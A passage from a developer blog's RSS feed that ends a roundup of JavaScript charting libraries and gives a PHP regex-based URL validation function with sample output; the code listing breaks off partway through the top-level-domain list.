<p>Computation and drawing of lines, axes, shadows even the grid itself is handled by pluggable &#8220;renderers&#8221;. Not only are the plot elements customizable, plugins can expand functionality of the plot too! There are plenty of hooks into the core jqPlot code allowing for custom event handlers, creation of new plot types, adding canvases to the plot, and more!<br />
<img src="http://www.jqplot.com/images/barchart.jpg" /></p>
<hr/>
<br/></p>
<h4><a href="http://www.highcharts.com/">Highcharts</a></h4>
<p>Highcharts is a charting library written in pure JavaScript, offering intuitive, interactive charts to your web site or web application. Highcharts currently supports line, spline, area, areaspline, column, bar, pie and scatter chart types.<br />
<img src="http://www.highcharts.com/images/stories/logohighcharts.png" /></p>
<hr/>
<br/></p>
<h4><a href="http://codecanyon.net/item/graphup-jquery-plugin/108025">GraphUp</a></h4>
<p>GraphUp is a very flexible and lightweight jQuery (v1.4+) plugin to spice up your data tables. It visualizes the values using color, bar charts and bubbles.<br />
<img src="http://2.s3.envato.com/files/349587/graphup_site.__thumbnail.jpg" /></p>
<hr/>
<br/></p>
<h4><a href="http://code.google.com/p/flot/"></a>Flot</h4>
<p>Flot is a pure Javascript plotting library for jQuery. It produces graphical plots of arbitrary datasets on-the-fly client-side.<br />
The focus is on simple usage (all settings are optional), attractive looks and interactive features like zooming and mouse tracking.<br />
The plugin works with Internet Explorer 6+, Firefox 2.x+, Safari 3.0+, Opera 9.5+ and Konqueror 4.x+ with the HTML canvas tag<br />
<img src="http://www.gstatic.com/codesite/ph/images/defaultlogo.png" /></p>
<hr/>
<br/></p>
<h4><a href="http://www.jscharts.com/home">JS Charts</a></h4>
<p>JS Charts is a JavaScript based chart generator that requires little or no coding. With JS Charts drawing charts is a simple and easy task, since you only have to use client-side scripting (i.e. performed by your web browser). No additional plugins or server modules are required. Just include our scripts, prepare your chart data in XML, JSON or JavaScript Array and your chart is ready!<br />
<img src="http://www.jscharts.com/images/logo.png" /></p>
<hr/>
<br/></p>
<h4><a href="">PlotKit</a></h4>
<p>PlotKit is a Chart and Graph Plotting Library for Javascript. It has support for HTML Canvas and also SVG via Adobe SVG Viewer and native browser support.</p>
<hr/>
<br/></p>
<h4><a href="http://www.ejschart.com/">Emprise JavaScript Charts</a></h4>
<p>EJSChart has been fully tested and verified to work properly in the following browsers. This list covers roughly 95% of browser market share</p>
<hr/>
<br/></p>
<p>Have Fun <img src='http://garry-lachman.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Garry</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/11/08/7-best-jquery-charts-engines/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/11/08/7-best-jquery-charts-engines/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2011%2F11%2F08%2F7-best-jquery-charts-engines%2F&amp;title=7%20best%20jQuery%20charts%20engines" id="wpa2a_16"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2011/11/08/7-best-jquery-charts-engines/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP+REGEX &#8211; URL validation &amp; split to elements</title>
		<link>http://garry-lachman.com/2011/10/27/phpregex-url-validation-split-to-elements/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2011/10/27/phpregex-url-validation-split-to-elements/#comments</comments>
		<pubDate>Thu, 27 Oct 2011 09:00:19 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[PHP + mySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[regex]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[validate]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=225</guid>
		<description><![CDATA[Hi, After searching the web i found a very good script to split the url to elements and validate it. The result is: 123456789101112131415161718192021222324252627282930array&#40;14&#41; &#123; &#160; &#91;&#34;scheme&#34;&#93;=&#62; &#160; string&#40;4&#41; &#34;http&#34; &#160; &#91;&#34;authority&#34;&#93;=&#62; &#160; string&#40;17&#41; &#34;garry-lachman.com&#34;  &#8230; <a href="http://garry-lachman.com/2011/10/27/phpregex-url-validation-split-to-elements/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2011%2F10%2F27%2Fphpregex-url-validation-split-to-elements%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hi,<br />
After searching the web i found a very good script to split the url to elements and validate it.<br />
The result is:</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">14</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;scheme&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;http&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;authority&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">17</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;garry-lachman.com&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;userinfo&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;host&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">17</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;garry-lachman.com&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;IP_literal&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;IPV6address&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ls32&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;IPvFuture&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;IPv4address&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;regname&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">17</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;garry-lachman.com&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;path_abempty&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;/2011/10/17/&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;query&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">22</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;test_querystring=value&quot;</span><br />
&nbsp; <span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;url&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=&gt;</span><br />
&nbsp; string<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">59</span><span style="color: #009900;">&#41;</span> <span style="color: #0000ff;">&quot;http://garry-lachman.com/2011/10/17/?test_querystring=value&quot;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>The script:</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br />90<br />91<br />92<br />93<br />94<br />95<br />96<br />97<br />98<br />99<br />100<br />101<br />102<br />103<br />104<br />105<br />106<br />107<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">// function url_valid($url) { Rev:20110423_2000</span><br />
<span style="color: #666666; font-style: italic;">//</span><br />
<span style="color: #666666; font-style: italic;">// Return associative array of valid URI components, or FALSE if $url is not</span><br />
<span style="color: #666666; font-style: italic;">// RFC-3986 compliant. If the passed URL begins with: &quot;www.&quot; or &quot;ftp.&quot;, then</span><br />
<span style="color: #666666; font-style: italic;">// &quot;http://&quot; or &quot;ftp://&quot; is prepended and the corrected full-url is stored in</span><br />
<span style="color: #666666; font-style: italic;">// the return array with a key name &quot;url&quot;. This value should be used by the caller.</span><br />
<span style="color: #666666; font-style: italic;">//</span><br />
<span style="color: #666666; font-style: italic;">// Return value: FALSE if $url is not valid, otherwise array of URI components:</span><br />
<span style="color: #666666; font-style: italic;">// e.g.</span><br />
<span style="color: #666666; font-style: italic;">// Given: &quot;http://www.jmrware.com:80/articles?height=10&amp;width=75#fragone&quot;</span><br />
<span style="color: #666666; font-style: italic;">// Array(</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[scheme] =&gt; http</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[authority] =&gt; www.jmrware.com:80</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[userinfo] =&gt;</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[host] =&gt; www.jmrware.com</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[IP_literal] =&gt;</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[IPV6address] =&gt;</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[ls32] =&gt;</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[IPvFuture] =&gt;</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[IPv4address] =&gt;</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[regname] =&gt; www.jmrware.com</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[port] =&gt; 80</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[path_abempty] =&gt; /articles</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[query] =&gt; height=10&amp;width=75</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[fragment] =&gt; fragone</span><br />
<span style="color: #666666; font-style: italic;">// &nbsp; &nbsp;[url] =&gt; http://www.jmrware.com:80/articles?height=10&amp;width=75#fragone</span><br />
<span style="color: #666666; font-style: italic;">// )</span><br />
<span style="color: #000000; font-weight: bold;">function</span> url_valid<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'www.'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ftp.'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'ftp://'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/# Valid absolute URI having a non-empty, valid DNS host.<br />
&nbsp; &nbsp; &nbsp; &nbsp; ^<br />
&nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;scheme&gt;[A-Za-z][A-Za-z0-9+\-.]*):\/\/<br />
&nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;authority&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?:(?P&lt;userinfo&gt;(?:[A-Za-z0-9\-._~!$&amp;\'()*+,;=:]|%[0-9A-Fa-f]{2})*)@)?<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;host&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;IP_literal&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \[<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;IPV6address&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(?:[0-9A-Fa-f]{1,4}:){6}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;::(?:[0-9A-Fa-f]{1,4}:){5}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?:(?:[0-9A-Fa-f]{1,4}:){0,1}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?:(?:[0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?:(?:[0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})?:: &nbsp; [0-9A-Fa-f]{1,4}:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?:(?:[0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})?::<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;ls32&gt;[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; (?:(?:[0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})?:: &nbsp; [0-9A-Fa-f]{1,4}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; (?:(?:[0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})?::<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?P&lt;IPvFuture&gt;[Vv][0-9A-Fa-f]+\.[A-Za-z0-9\-._~!$&amp;\'()*+,;=:]+)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \]<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?P&lt;IPv4address&gt;(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | (?P&lt;regname&gt;(?:[A-Za-z0-9\-._~!$&amp;\'()*+,;=]|%[0-9A-Fa-f]{2})+)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?::(?P&lt;port&gt;[0-9]*))?<br />
&nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; (?P&lt;path_abempty&gt;(?:\/(?:[A-Za-z0-9\-._~!$&amp;\'()*+,;=:@]|%[0-9A-Fa-f]{2})*)*)<br />
&nbsp; &nbsp; &nbsp; &nbsp; (?:\?(?P&lt;query&gt; &nbsp; &nbsp; &nbsp; (?:[A-Za-z0-9\-._~!$&amp;\'()*+,;=:@\\/?]|%[0-9A-Fa-f]{2})*))?<br />
&nbsp; &nbsp; &nbsp; &nbsp; (?:\#(?P&lt;fragment&gt; &nbsp; &nbsp;(?:[A-Za-z0-9\-._~!$&amp;\'()*+,;=:@\\/?]|%[0-9A-Fa-f]{2})*))?<br />
&nbsp; &nbsp; &nbsp; &nbsp; $<br />
&nbsp; &nbsp; &nbsp; &nbsp; /mx'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$m</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'scheme'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'https'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'http'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'userinfo'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// HTTP scheme does not allow userinfo.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ftps'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'ftp'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #666666; font-style: italic;">// Unrecognized URI scheme. Default to FALSE.</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Validate host name conforms to DNS &quot;dot-separated-parts&quot;.</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'regname'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">// If host regname specified, check for DNS conformance.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/preg_match"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/# HTTP DNS host name.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Anchor to beginning of string.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?!.{256}) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Overall host length is less than 256 chars.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Group dot separated host part alternatives.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [A-Za-z0-9]\. &nbsp; &nbsp; &nbsp; &nbsp;# Either a single alphanum followed by dot<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# or... part has more than one char (63 chars max).<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [A-Za-z0-9] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Part first char is alphanum (no dash).<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [A-Za-z0-9\-]{0,61} &nbsp;# Internal chars are alphanum plus dash.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [A-Za-z0-9] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Part last char is alphanum (no dash).<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Each part followed by literal dot.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Zero or more parts before top level domain.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# Explicitly specify top level domains.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; com|edu|gov|int|mil|net|org|biz|<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; info|name|pro|aero|coop|museum|<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; asia|cat|jobs|mobi|tel|travel|<br />
